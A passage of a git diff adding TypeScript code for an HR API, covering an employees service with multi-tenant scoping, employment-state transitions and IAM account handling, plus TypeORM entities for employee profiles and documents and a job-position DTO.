orgScope = (actor: ActorContext): string | null => + actor.isSuperAdmin ? null : actor.organizationId; + +@Injectable() +export class EmployeesService { + constructor( + private readonly employeesRepository: EmployeesRepository, + private readonly jobTitlesRepository: JobTitlesRepository, + private readonly iamDirectory: IamDirectoryService, + private readonly iamOperations: IamOperationsService, + ) {} + + // ──────────────────────────────────────────────────────────────────────── + // Derivations + // ──────────────────────────────────────────────────────────────────────── + + /** + * Pension default: permanent and seconded staff contribute, everyone else does + * not (§3.4). An explicit value from the caller always wins — the exclusion is + * organizational policy, not statute, and payroll must be able to record the + * exception rather than work around it. + */ + static derivePensionEligibility( + employmentType: EEmploymentType, + explicit?: boolean, + ): boolean { + if (explicit !== undefined) return explicit; + return !PENSION_EXCLUDED_TYPES.has(employmentType); + } + + /** + * A new profile starts on PROBATION when a probation end date is set, and + * ACTIVE otherwise. Stated explicitly rather than defaulted in the entity so + * that "no probation period" is a real, recorded decision. + */ + static deriveInitialState( + probationEndDate?: string | null, + explicit?: EEmploymentState, + ): EEmploymentState { + if (explicit) return explicit; + return probationEndDate + ? EEmploymentState.PROBATION + : EEmploymentState.ACTIVE; + } + + /** Ethiopian-calendar rendering, or null for an absent date. */ + private static async toAmharicDate( + isoDate?: string | null, + ): Promise { + if (!isoDate) return null; + const timestamp = new Date(isoDate).getTime(); + if (Number.isNaN(timestamp)) return null; + return formatEthiopianDateAmharic(timestamp, true); + } + + /** + * The next employee number for an organization. + * + * Globally unique, not per organization — see the entity for why. Derived + * from the highest suffix already issued INCLUDING soft-deleted rows, so a + * number is never reused. Two concurrent creates can still pick the same + * value; the unique index on `employee_number` is what actually guarantees + * uniqueness. + */ + private async nextEmployeeNumber(): Promise { + const highest = + await this.employeesRepository.findHighestEmployeeNumberSuffix( + EMPLOYEE_NUMBER_PREFIX, + ); + return `${EMPLOYEE_NUMBER_PREFIX}${String(highest + 1).padStart(5, "0")}`; + } + + // ──────────────────────────────────────────────────────────────────────── + // Validation + // ──────────────────────────────────────────────────────────────────────── + + private static assertDateOrder(dto: { + hireDate?: string; + probationEndDate?: string | null; + contractEndDate?: string | null; + }): void { + const { hireDate, probationEndDate, contractEndDate } = dto; + if (!hireDate) return; + if (probationEndDate && probationEndDate < hireDate) { + throw new BadRequestException( + "probationEndDate cannot be before hireDate", + ); + } + if (contractEndDate && contractEndDate < hireDate) { + throw new BadRequestException("contractEndDate cannot be before hireDate"); + } + } + + private async assertJobTitleBelongsToOrg( + jobTitleId: string, + organizationId: string | null, + ): Promise { + const jobTitle = await this.jobTitlesRepository.findById(jobTitleId); + if (!jobTitle || (organizationId && jobTitle.organizationId !== organizationId)) { + throw new BadRequestException( + `Job title ${jobTitleId} does not exist in this organization`, + ); + } + } + + /** + * A manager override must name a real IAM employee, must not be the employee + * themselves, and must not close a reporting cycle. + * + * The cycle walk follows overrides only. A cycle through the IAM position + * hierarchy is IAM's invariant to keep, and re-validating it here would make + * HR reject profiles over a structure it does not own. + */ + private async assertManagerOverrideIsSane( + employeeId: string, + managerEmployeeId: string, + ): Promise { + if (managerEmployeeId === employeeId) { + throw new BadRequestException("An employee cannot be their own manager"); + } + await this.iamDirectory.requireEmployee(managerEmployeeId); + + const seen = new Set([employeeId]); + let cursor: string | null = managerEmployeeId; + + for (let depth = 0; depth < MAX_MANAGER_CHAIN_DEPTH && cursor; depth += 1) { + if (seen.has(cursor)) { + throw new BadRequestException( + `Manager override would create a reporting cycle at employee ${cursor}`, + ); + } + seen.add(cursor); + const managerProfile: EmployeeProfile | null = + await this.employeesRepository.findByEmployeeId(cursor); + cursor = managerProfile?.managerEmployeeId ?? null; + } + } + + // ──────────────────────────────────────────────────────────────────────── + // Commands + // ──────────────────────────────────────────────────────────────────────── + + async create( + dto: CreateEmployeeProfileDto, + actor: ActorContext, + ): Promise { + // The IAM employee is the extension point, so it has to exist and it decides + // which organization the profile belongs to — the caller does not get to say. + // + // It must ALSO be the caller's own organization. Falling back to the actor's + // org when IAM disagreed would let someone create a profile scoped to another + // tenant, which every read here then filters out — a row the creator can + // never see again. (Observed against the live database, which has three + // organizations and units belonging to each.) + const iamEmployee = await this.iamDirectory.requireEmployee(dto.employeeId); + // The organization is read from IAM for the tenancy check and then thrown + // away — it is deliberately NOT stored on the profile. IAM owns that fact. + const organizationId = iamEmployee.organizationId; + if (!organizationId) { + throw new ForbiddenException( + `IAM employee ${dto.employeeId} has no organization`, + ); + } + if (!actor.isSuperAdmin && organizationId !== actor.organizationId) { + throw new ForbiddenException( + `Employee ${dto.employeeId} belongs to another organization`, + ); + } + + const existing = await this.employeesRepository.findByEmployeeId( + dto.employeeId, + ); + if (existing) { + throw new ConflictException( + `Employee ${dto.employeeId} already has HR profile ${existing.id}`, + ); + } + + EmployeesService.assertDateOrder(dto); + + if (dto.jobTitleId) { + await this.assertJobTitleBelongsToOrg(dto.jobTitleId, organizationId); + } + if (dto.managerEmployeeId) { + await this.assertManagerOverrideIsSane( + dto.employeeId, + dto.managerEmployeeId, + ); + } + + let employeeNumber = dto.employeeNumber; + if (employeeNumber) { + const clash = + await this.employeesRepository.findByEmployeeNumber(employeeNumber); + if (clash) { + throw new ConflictException( + `Employee number ${employeeNumber} is already in use`, + ); + } + } else { + employeeNumber = await this.nextEmployeeNumber(); + } + + const profile = await this.employeesRepository.create({ + ...dto, + employeeNumber, + employmentState: EmployeesService.deriveInitialState( + dto.probationEndDate, + dto.employmentState, + ), + isPensionEligible: EmployeesService.derivePensionEligibility( + dto.employmentType, + dto.isPensionEligible, + ), + amharicHireDate: await EmployeesService.toAmharicDate(dto.hireDate), + amharicDateOfBirth: await EmployeesService.toAmharicDate(dto.dateOfBirth), + createdBy: actor.userId, + updatedBy: actor.userId, + }); + + return this.toResponse(profile, iamEmployee); + } + + async update( + id: string, + dto: UpdateEmployeeProfileDto, + actor: ActorContext, + ): Promise { + const profile = await this.requireProfile(id, orgScope(actor)); + + EmployeesService.assertDateOrder({ + hireDate: dto.hireDate ?? profile.hireDate, + probationEndDate: dto.probationEndDate ?? profile.probationEndDate, + contractEndDate: dto.contractEndDate ?? profile.contractEndDate, + }); + + if (dto.jobTitleId) { + // The profile no longer stores an organization; read the employee's from + // IAM so a job title from another tenant is still refused. + const iam = await this.iamDirectory.findEmployee(profile.employeeId); + await this.assertJobTitleBelongsToOrg( + dto.jobTitleId, + iam?.organizationId ?? null, + ); + } + if (dto.managerEmployeeId) { + await this.assertManagerOverrideIsSane( + profile.employeeId, + dto.managerEmployeeId, + ); + } + if ( + dto.employeeNumber && + dto.employeeNumber !== profile.employeeNumber + ) { + const clash = await this.employeesRepository.findByEmployeeNumber( + dto.employeeNumber, + ); + if (clash) { + throw new ConflictException( + `Employee number ${dto.employeeNumber} is already in use`, + ); + } + } + + // Pension eligibility follows a changed employment type unless the caller + // states otherwise in the same request — otherwise moving someone from + // CONTRACT to PERMANENT would silently leave them out of the pension. + const employmentType = dto.employmentType ?? profile.employmentType; + const isPensionEligible = + dto.isPensionEligible !== undefined + ? dto.isPensionEligible + : dto.employmentType + ? EmployeesService.derivePensionEligibility(employmentType) + : profile.isPensionEligible; + + const updated = await this.employeesRepository.update(id, { + ...dto, + isPensionEligible, + ...(dto.hireDate + ? { amharicHireDate: await EmployeesService.toAmharicDate(dto.hireDate) } + : {}), + ...(dto.dateOfBirth + ? { + amharicDateOfBirth: await EmployeesService.toAmharicDate( + dto.dateOfBirth, + ), + } + : {}), + updatedBy: actor.userId, + }); + + return this.toResponse(updated ?? profile); + } + + /** + * Move a profile between employment states. + * + * Every state change goes through here so the transition table is enforced in + * exactly one place — the deactivate/reinstate/terminate endpoints are thin + * wrappers over it rather than three separate implementations. + */ + private async transition( + profile: EmployeeProfile, + next: EEmploymentState, + actor: ActorContext, + extra: Partial = {}, + ): Promise { + const allowed = ALLOWED_TRANSITIONS[profile.employmentState] ?? []; + if (!allowed.includes(next)) { + throw new BadRequestException( + `Cannot move employment state from ${profile.employmentState} to ${next}` + + (allowed.length + ? `. Allowed: ${allowed.join(", ")}` + : ". This state is terminal."), + ); + } + + const updated = await this.employeesRepository.update(profile.id, { + ...extra, + employmentState: next, + updatedBy: actor.userId, + }); + return updated ?? profile; + } + + async suspend( + id: string, + actor: ActorContext, + ): Promise { + const profile = await this.requireProfile(id, orgScope(actor)); + return this.toResponse( + await this.transition(profile, EEmploymentState.SUSPENDED, actor), + ); + } + + async reinstate( + id: string, + actor: ActorContext, + ): Promise { + const profile = await this.requireProfile(id, orgScope(actor)); + return this.toResponse( + await this.transition(profile, EEmploymentState.ACTIVE, actor), + ); + } + + /** + * End an employment. + * + * Terminal, and it deliberately does NOT soft-delete the row: payroll history, + * the tax report and the pension report all read terminated employees for the + * period they worked. Removal, if it ever happens, is a retention decision made + * separately. + */ + async terminate( + id: string, + dto: TerminateEmployeeDto, + actor: ActorContext, + ): Promise { + const profile = await this.requireProfile(id, orgScope(actor)); + const terminationDate = + dto.terminationDate ?? new Date().toISOString().slice(0, 10); + + if (terminationDate < profile.hireDate) { + throw new BadRequestException( + "terminationDate cannot be before hireDate", + ); + } + + const finalState = dto.finalState ?? EEmploymentState.TERMINATED; + + // Anyone whose manager override points at this person is now reporting to + // someone who has left. Clearing it falls back to the IAM position + // hierarchy, which is the correct answer far more often than a dangling id. + const reports = + await this.employeesRepository.findDirectReportsByOverride( + profile.employeeId, + ); + for (const report of reports) { + await this.employeesRepository.update(report.id, { + managerEmployeeId: null, + updatedBy: actor.userId, + }); + } + + const terminated = await this.transition(profile, finalState, actor, { + terminationDate, + terminationReason: dto.terminationReason ?? null, + }); + + // Revoking access is a separate, opt-in step. The HR state change is already + // committed by this point, so a failure here must not undo it — the profile + // comes back flagged ACCESS_OUTLIVES_EMPLOYMENT and the account can be + // deactivated from the detail page instead. + if (dto.revokeSystemAccess) { + await this.setSystemAccess(terminated, false).catch(() => undefined); + } + + return this.toResponse(terminated); + } + + /** + * Turn the IAM account behind a profile on or off. + * + * IAM owns the login; HR owns the employment. Neither writes the other's + * state, so this is the one place HR is allowed to reach across — and only + * when a human asks for it explicitly. + */ + async setIamAccountActive( + id: string, + active: boolean, + actor: ActorContext, + ): Promise { + const profile = await this.requireProfile(id, orgScope(actor)); + + // Restoring a login to somebody HR says has left is precisely the mistake + // this pairing exists to prevent. Reinstate the employment first; that is a + // decision with a record behind it. + if (active && ENDED_STATES.has(profile.employmentState)) { + throw new BadRequestException( + `Cannot restore system access: this employment is ${profile.employmentState}. ` + + "Employment must be reinstated before the account is.", + ); + } + + await this.setSystemAccess(profile, active); + return this.toResponse(profile); + } + + /** + * The IAM call itself, with its one asymmetry made explicit. + * + * Deactivating ends every position the employee holds (`end_date = now`, + * `is_current = false`); activating restores the account and its status but + * NOT those assignments. Reactivating therefore leaves somebody logged in with + * no post — the caller is warned, and the org explorer is where they are put + * back. + */ + private async setSystemAccess( + profile: EmployeeProfile, + active: boolean, + ): Promise { + if (active) { + await this.iamOperations.activateEmployee(profile.employeeId); + return; + } + await this.iamOperations.deactivateEmployee(profile.employeeId); + } + + // ──────────────────────────────────────────────────────────────────────── + // Queries + // ──────────────────────────────────────────────────────────────────────── + + /** + * The employee list: EVERY current IAM employee, with their onboarding state. + * + * Driven from IAM rather than from `hr.employee_profiles`, because a list of + * profiles alone showed 0 people against 2,427 real employees and offered no + * way to reach the rest. `isOnboarded` distinguishes the two, and + * `ensureProfile` turns an un-onboarded row into a real one. + */ + async findDirectory( + filters: FindEmployeeProfilesDto, + actor: ActorContext, + ): Promise> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + + const unitIds = filters.unitId + ? await this.iamDirectory.findUnitSubtreeIds(filters.unitId) + : null; + + const { items, total } = await this.iamDirectory.findEmployeeDirectoryPage({ + organizationId: orgScope(actor), + search: filters.search, + unitIds, + onboarded: filters.onboarded, + employmentState: filters.employmentState, + limit, + offset: (page - 1) * limit, + }); + + return paginate(items, total, page, limit); + } + + /** Profiles only — kept for callers that genuinely need HR rows. */ + async findAll( + filters: FindEmployeeProfilesDto, + actor: ActorContext, + ): Promise> { + // A search term has to reach IAM: name, username and email live there, while + // the employee number lives here. Resolve both sides into one id whitelist, + // then run the real page against it — that keeps the schema boundary intact + // and still gives a single paginated result set. + // + // `pageFilters` drops `search` once the whitelist exists: leaving it in would + // re-apply the employee-number LIKE on top of the whitelist, and an employee + // matched by NAME in IAM would be filtered straight back out. + let employeeIdWhitelist: string[] | null = null; + let pageFilters = filters; + if (filters.search) { + const [iamMatches, [numberMatches]] = await Promise.all([ + this.iamDirectory.searchEmployees(filters.search, SEARCH_FANOUT_LIMIT), + this.employeesRepository.findPage(orgScope(actor), { + ...filters, + page: 1, + limit: SEARCH_FANOUT_LIMIT, + }), + ]); + employeeIdWhitelist = [ + ...new Set([ + ...iamMatches.map((match) => match.id), + ...numberMatches.map((profile) => profile.employeeId), + ]), + ]; + const { search: _search, ...withoutSearch } = filters; + pageFilters = withoutSearch; + } + + let unitEmployeeIds: string[] | null = null; + if (filters.unitId) { + const unitIds = await this.iamDirectory.findUnitSubtreeIds( + filters.unitId, + ); + const employees = await this.iamDirectory.findEmployeesByUnits(unitIds); + unitEmployeeIds = employees.map((e) => e.id); + } + + const [profiles, total] = await this.employeesRepository.findPage( + orgScope(actor), + pageFilters, + { employeeIdWhitelist, unitEmployeeIds }, + ); + + // One IAM round trip for the whole page, never one per row. + const iamById = await this.iamDirectory.findEmployees( + profiles.map((p) => p.employeeId), + ); + + return paginate( + profiles.map((profile) => + EmployeeProfileResponseDto.from( + profile, + iamById.get(profile.employeeId) ?? null, + ), + ), + total, + filters.page ?? 1, + filters.limit ?? 25, + ); + } + + async findOne( + id: string, + actor: ActorContext, + ): Promise { + const profile = await this.requireProfile(id, orgScope(actor)); + return this.toResponse(profile); + } + + /** + * The caller's own profile. Distinct from `findOne` because self-service holds + * `can:view_own:employee_profile` and must not be able to read anyone else by + * guessing an id. + */ + async findOwn(actor: ActorContext): Promise { + if (!actor.employeeId) { + throw new ForbiddenException( + "This account is not linked to an employee record", + ); + } + const profile = await this.employeesRepository.findByEmployeeId( + actor.employeeId, + ); + if (!profile) { + throw new NotFoundException("You do not have an HR profile yet"); + } + return this.toResponse(profile); + } + + /** Headcount by state, for the HR dashboard KPI row. */ + async headcountSummary( + actor: ActorContext, + ): Promise<{ total: number; byState: Record }> { + const rows = await this.employeesRepository.countByEmploymentState( + orgScope(actor), + ); + const byState: Record = {}; + let total = 0; + for (const row of rows) { + const count = parseInt(row.count, 10); + byState[row.employmentState] = count; + total += count; + } + return { total, byState }; + } + + /** + * The manager who actually approves for this employee: the override when set, + * otherwise the holder of the parent position in IAM. Leave (3.2) and + * appraisals (3.6) both route through this, so the rule lives here rather than + * being re-derived per module. + */ + async resolveEffectiveManager( + profile: EmployeeProfile, + ): Promise<{ employeeId: string | null; overridden: boolean }> { + if (profile.managerEmployeeId) { + return { employeeId: profile.managerEmployeeId, overridden: true }; + } + return { + employeeId: await this.iamDirectory.findLineManagerEmployeeId( + profile.employeeId, + ), + overridden: false, + }; + } + + /** Loads a profile and enforces organization scoping in one place. */ + /** + * Loads a profile and enforces organization scoping in one place. + * + * `organizationId: null` skips the check — a super admin reads across + * organizations. Deliberately a 404 rather than a 403 for everyone else: an + * out-of-scope id should be indistinguishable from a missing one, or the + * endpoint becomes a way to probe which ids exist in other tenants. + */ + async requireProfile( + id: string, + organizationId: string | null, + ): Promise { + const profile = await this.employeesRepository.findById(id); + if (!profile) throw new NotFoundException(`Employee profile ${id} not found`); + + // Tenancy is checked against IAM, since the profile no longer stores an + // organization. One extra lookup by primary key, and it cannot go stale. + if (organizationId) { + const iam = await this.iamDirectory.findEmployee(profile.employeeId); + if (iam?.organizationId !== organizationId) { + throw new NotFoundException(`Employee profile ${id} not found`); + } + } + return profile; + } + + /** + * Auto-provision: return this employee's HR profile, creating a minimal one + * if they do not have it yet. + * + * Mirrors how the passenger app lazily provisions `passenger.Passenger` on + * first login. It exists so the IAM/HR split is invisible in daily use — an + * HR officer opening someone's record should not first have to "create a + * profile", and no screen should dead-end on a person who plainly exists. + * + * Only the facts HR can know without asking are set: employment type defaults + * to PERMANENT and the hire date to the IAM record's creation date, which is + * the closest defensible proxy. Both are flagged by `isProvisional` so the UI + * can prompt for the real values rather than presenting a guess as fact. + */ + async ensureProfile( + employeeId: string, + actor: ActorContext, + ): Promise { + const existing = await this.employeesRepository.findByEmployeeId(employeeId); + if (existing) return existing; + + const iamEmployee = await this.iamDirectory.requireEmployee(employeeId); + if ( + !actor.isSuperAdmin && + iamEmployee.organizationId !== actor.organizationId + ) { + throw new ForbiddenException( + `Employee ${employeeId} belongs to another organization`, + ); + } + + // node-postgres hydrates timestamptz into a Date, so normalise before + // slicing to the YYYY-MM-DD the column expects. + const createdAt = iamEmployee.createdAt + ? new Date(iamEmployee.createdAt) + : new Date(); + const hireDate = Number.isNaN(createdAt.getTime()) + ? new Date().toISOString().slice(0, 10) + : createdAt.toISOString().slice(0, 10); + + return this.employeesRepository.create({ + employeeId, + employeeNumber: await this.nextEmployeeNumber(), + employmentType: EEmploymentType.PERMANENT, + hireDate, + amharicHireDate: await EmployeesService.toAmharicDate(hireDate), + employmentState: EEmploymentState.ACTIVE, + isPensionEligible: EmployeesService.derivePensionEligibility( + EEmploymentType.PERMANENT, + ), + isProvisional: true, + createdBy: actor.userId, + updatedBy: actor.userId, + }); + } + + private async toResponse( + profile: EmployeeProfile, + iamEmployee?: Awaited>, + ): Promise { + const iam = + iamEmployee ?? (await this.iamDirectory.findEmployee(profile.employeeId)); + const manager = await this.resolveEffectiveManager(profile); + return EmployeeProfileResponseDto.from(profile, iam, manager); + } +} diff --git a/apps/edr-hr-api/src/modules/employees/entities/employee-document.entity.ts b/apps/edr-hr-api/src/modules/employees/entities/employee-document.entity.ts new file mode 100644 index 000000000..a89734934 --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/entities/employee-document.entity.ts @@ -0,0 +1,89 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + Entity, + Index, + JoinColumn, + ManyToOne, + PrimaryGeneratedColumn, +} from "typeorm"; + +import { EmployeeProfile } from "./employee-profile.entity"; + +export enum EEmployeeDocumentType { + CONTRACT = "CONTRACT", + CERTIFICATE = "CERTIFICATE", + EDUCATION = "EDUCATION", + NATIONAL_ID = "NATIONAL_ID", + PASSPORT = "PASSPORT", + DRIVING_LICENCE = "DRIVING_LICENCE", + CV = "CV", + MEDICAL = "MEDICAL", + DISCIPLINARY = "DISCIPLINARY", + OTHER = "OTHER", +} + +/** + * An employee's HR file. The bytes live in DMS/MinIO; this row is the HR-side + * index — what the document is, when it expires, and who it belongs to. + * + * `documentId` is a soft reference to DMS, deliberately without an FK (DMS is a + * separate service). A row whose DMS object has been deleted still tells HR that + * a contract was once filed and when it expired, which is the auditable fact. + */ +@Entity({ schema: "hr", name: "employee_documents" }) +@Index("idx_employee_documents_profile", ["employeeProfileId"]) +@Index("idx_employee_documents_expiry", ["expiryDate"]) +export class EmployeeDocument extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "employee_profile_id" }) + employeeProfileId!: string; + + @ManyToOne(() => EmployeeProfile, (profile) => profile.documents, { + onDelete: "CASCADE", + }) + @JoinColumn({ name: "employee_profile_id" }) + employeeProfile?: EmployeeProfile; + + @Column({ type: "varchar", length: 32, name: "document_type" }) + documentType!: EEmployeeDocumentType; + + /** Soft reference → the DMS document id. */ + @Column({ type: "uuid", name: "document_id" }) + documentId!: string; + + @Column({ + type: "varchar", + length: 128, + name: "document_number", + nullable: true, + }) + documentNumber?: string | null; + + @Column({ type: "date", name: "issue_date", nullable: true }) + issueDate?: string | null; + + /** + * Drives the expiring-documents report (3.7) and the renewal reminder. The + * organization is not stored here — the report scopes by joining through + * `hr.employee_profiles` to `iam.employees`. + */ + @Column({ type: "date", name: "expiry_date", nullable: true }) + expiryDate?: string | null; + + @Column({ + type: "varchar", + length: 128, + name: "issuing_authority", + nullable: true, + }) + issuingAuthority?: string | null; + + @Column({ type: "jsonb", name: "notes", nullable: true }) + notes?: { am: string; en: string } | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/employees/entities/employee-profile.entity.ts b/apps/edr-hr-api/src/modules/employees/entities/employee-profile.entity.ts new file mode 100644 index 000000000..cf0137547 --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/entities/employee-profile.entity.ts @@ -0,0 +1,314 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + Entity, + Index, + JoinColumn, + ManyToOne, + OneToMany, + PrimaryGeneratedColumn, + Unique, +} from "typeorm"; + +import { EmployeeDocument } from "./employee-document.entity"; +import { JobTitle } from "../../job-titles/entities/job-title.entity"; + +export enum EEmploymentType { + PERMANENT = "PERMANENT", + CONTRACT = "CONTRACT", + INTERN = "INTERN", + PART_TIME = "PART_TIME", + SECONDED = "SECONDED", +} + +export enum EEmploymentState { + PROBATION = "PROBATION", + ACTIVE = "ACTIVE", + SUSPENDED = "SUSPENDED", + ON_LEAVE = "ON_LEAVE", + TERMINATED = "TERMINATED", + RETIRED = "RETIRED", +} + +export enum EGender { + MALE = "MALE", + FEMALE = "FEMALE", +} + +export enum EMaritalStatus { + SINGLE = "SINGLE", + MARRIED = "MARRIED", + DIVORCED = "DIVORCED", + WIDOWED = "WIDOWED", +} + +/** How net pay reaches the employee. Drives the payroll disbursement file (3.4). */ +export enum ESalaryMode { + BANK = "BANK", + CASH = "CASH", + CHEQUE = "CHEQUE", +} + +/** Ethiopian postal addressing: region → sub-city/zone → woreda → kebele. */ +export type PersonalAddress = { + region?: string; + subCity?: string; + zone?: string; + woreda?: string; + kebele?: string; + houseNumber?: string; +}; + +/** + * The HR extension of `iam.employees`. + * + * `employeeId` is a soft reference — a plain UUID with NO foreign key into + * `iam.employees`, matching the platform stance (there are zero FKs from + * `freight.*` into `iam.*` either). Co-location in one database would allow a + * real FK; not taking it keeps IAM independently deployable and keeps HR rows + * readable when an IAM row is removed. Validation happens in + * `IamDirectoryService.requireEmployee` on the way in. + * + * NOTHING IAM stores is duplicated here — not name, unit, organization, user + * account or position. Every one of those is read by joining `iam.employees` + * and `iam.employee_positions` at query time. The organization in particular is + * deliberately NOT copied: it is IAM's fact, and a stale copy here would be a + * second answer to "which tenant is this person in". + * + * The only column that is HR's own identifier rather than an HR attribute is + * `employeeNumber`, which HR issues and IAM has no equivalent of. + */ +@Entity({ schema: "hr", name: "employee_profiles" }) +@Unique("uq_employee_profiles_employee_id", ["employeeId"]) +@Unique("uq_employee_profiles_employee_number", ["employeeNumber"]) +@Index("idx_employee_profiles_state", ["employmentState"]) +export class EmployeeProfile extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + /** Soft reference → `iam.employees.id`. The extension point. */ + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + /** + * Human-facing payroll identifier. Globally unique, NOT per-organization. + * + * Per-org uniqueness would need `organization_id` stored here, and the + * organization is IAM's fact, not HR's — it is read by joining + * `iam.employees`. A global number also removes a real confusion: with + * per-org numbering a cross-organization list shows two different people + * both labelled EMP-00001. + */ + @Column({ type: "varchar", length: 64, name: "employee_number" }) + employeeNumber!: string; + + // ── Personal ────────────────────────────────────────────────────────────── + + @Column({ type: "date", name: "date_of_birth", nullable: true }) + dateOfBirth?: string | null; + + /** Ethiopian-calendar rendering of `dateOfBirth`, stored so reports and IDs + * do not have to re-derive it (and cannot disagree about the conversion). */ + @Column({ + type: "varchar", + length: 32, + name: "amharic_date_of_birth", + nullable: true, + }) + amharicDateOfBirth?: string | null; + + @Column({ type: "varchar", length: 16, name: "gender", nullable: true }) + gender?: EGender | null; + + @Column({ + type: "varchar", + length: 64, + name: "nationality", + nullable: true, + default: "Ethiopian", + }) + nationality?: string | null; + + /** Fayda / national ID number. */ + @Column({ type: "varchar", length: 64, name: "national_id", nullable: true }) + nationalId?: string | null; + + /** Taxpayer Identification Number — required on the ERCA income tax report. */ + @Column({ type: "varchar", length: 32, name: "tin_number", nullable: true }) + tinNumber?: string | null; + + @Column({ + type: "varchar", + length: 16, + name: "marital_status", + nullable: true, + }) + maritalStatus?: EMaritalStatus | null; + + @Column({ type: "int", name: "children_count", default: 0 }) + childrenCount!: number; + + @Column({ type: "varchar", length: 32, name: "work_phone", nullable: true }) + workPhone?: string | null; + + /** + * Only populated when the organization issues a work address distinct from + * `iam.users.email`. Left null otherwise rather than copying the IAM value. + */ + @Column({ type: "varchar", length: 128, name: "work_email", nullable: true }) + workEmail?: string | null; + + @Column({ type: "jsonb", name: "personal_address", nullable: true }) + personalAddress?: PersonalAddress | null; + + @Column({ type: "jsonb", name: "emergency_contact_name", nullable: true }) + emergencyContactName?: { am: string; en: string } | null; + + @Column({ + type: "varchar", + length: 32, + name: "emergency_contact_phone", + nullable: true, + }) + emergencyContactPhone?: string | null; + + @Column({ + type: "varchar", + length: 64, + name: "emergency_contact_relation", + nullable: true, + }) + emergencyContactRelation?: string | null; + + // ── Employment ──────────────────────────────────────────────────────────── + + @Column({ type: "uuid", name: "job_title_id", nullable: true }) + jobTitleId?: string | null; + + @ManyToOne(() => JobTitle, { nullable: true, onDelete: "SET NULL" }) + @JoinColumn({ name: "job_title_id" }) + jobTitle?: JobTitle | null; + + /** Soft reference → `iam.locations.id`. IAM already models work locations. */ + @Column({ type: "uuid", name: "work_location_id", nullable: true }) + workLocationId?: string | null; + + @Column({ + type: "varchar", + length: 16, + name: "employment_type", + default: EEmploymentType.PERMANENT, + }) + employmentType!: EEmploymentType; + + @Column({ type: "date", name: "hire_date" }) + hireDate!: string; + + @Column({ + type: "varchar", + length: 32, + name: "amharic_hire_date", + nullable: true, + }) + amharicHireDate?: string | null; + + @Column({ type: "date", name: "contract_end_date", nullable: true }) + contractEndDate?: string | null; + + @Column({ type: "date", name: "probation_end_date", nullable: true }) + probationEndDate?: string | null; + + @Column({ + type: "varchar", + length: 16, + name: "employment_state", + default: EEmploymentState.PROBATION, + }) + employmentState!: EEmploymentState; + + @Column({ type: "date", name: "termination_date", nullable: true }) + terminationDate?: string | null; + + @Column({ + type: "varchar", + length: 128, + name: "termination_reason", + nullable: true, + }) + terminationReason?: string | null; + + /** + * Manager OVERRIDE only. Leave it null and the approval chain resolves through + * the IAM position hierarchy (`IamDirectoryService.findLineManagerEmployeeId`), + * which is the structure HR must not duplicate. Set it only where the reporting + * line genuinely differs from the org chart — a secondment, say. + * + * Soft reference → `iam.employees.id`, for symmetry with `employeeId`: the + * override names a person, not an HR profile, so it stays valid even before + * that manager has been given an HR profile of their own. + */ + @Column({ type: "uuid", name: "manager_employee_id", nullable: true }) + managerEmployeeId?: string | null; + + // ── Payroll-critical ────────────────────────────────────────────────────── + + @Column({ + type: "varchar", + length: 16, + name: "salary_mode", + default: ESalaryMode.BANK, + }) + salaryMode!: ESalaryMode; + + @Column({ type: "varchar", length: 128, name: "bank_name", nullable: true }) + bankName?: string | null; + + @Column({ + type: "varchar", + length: 64, + name: "bank_account_number", + nullable: true, + }) + bankAccountNumber?: string | null; + + @Column({ + type: "varchar", + length: 128, + name: "bank_account_name", + nullable: true, + }) + bankAccountName?: string | null; + + /** + * Whether the 7%/11% pension contributions apply (§3.4). Defaulted from + * `employmentType` — contract, intern and part-time staff are excluded — and + * overridable, because the exclusion is a policy default rather than a law + * that holds for every contract type. + */ + @Column({ type: "boolean", name: "is_pension_eligible", default: true }) + isPensionEligible!: boolean; + + // ── Media ───────────────────────────────────────────────────────────────── + + /** Soft reference → the DMS document id. */ + @Column({ type: "uuid", name: "profile_photo_document_id", nullable: true }) + profilePhotoDocumentId?: string | null; + + /** + * True when the row was created by auto-provisioning rather than by someone + * filling in the form. Its hire date and employment type are defaults, not + * recorded facts — payroll and leave accrual both key off hire date, so the + * UI must prompt for the real values before either is trusted. + */ + @Column({ type: "boolean", name: "is_provisional", default: false }) + isProvisional!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; + + @OneToMany(() => EmployeeDocument, (document) => document.employeeProfile) + documents?: EmployeeDocument[]; +} diff --git a/apps/edr-hr-api/src/modules/job-positions/dto/create-job-position.dto.ts b/apps/edr-hr-api/src/modules/job-positions/dto/create-job-position.dto.ts new file mode 100644 index 000000000..5dd2e6c4c --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-positions/dto/create-job-position.dto.ts @@ -0,0 +1,41 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsBoolean, + IsInt, + IsOptional, + IsUUID, + Max, + Min, +} from "class-validator"; + +export class CreateJobPositionDto { + @ApiProperty({ + format: "uuid", + description: + "iam.positions.id this extends. One headcount record per position.", + }) + @IsUUID() + positionId!: string; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + jobTitleId?: string; + + @ApiPropertyOptional({ minimum: 0, maximum: 10000, default: 1 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(0) + @Max(10000) + budgetedCount?: number; + + @ApiPropertyOptional({ + default: false, + description: "Open for recruitment. Independent of whether it is vacant.", + }) + @IsOptional() + @IsBoolean() + isOpen?: boolean; +} diff --git a/apps/edr-hr-api/src/modules/job-positions/dto/update-job-position.dto.ts b/apps/edr-hr-api/src/modules/job-positions/dto/update-job-position.dto.ts new file mode 100644 index 000000000..6ce1ade41 --- /dev/null +++ b/apps/edr-hr-api/src/modules/job-positions/dto/update-job-position.dto.ts @@ 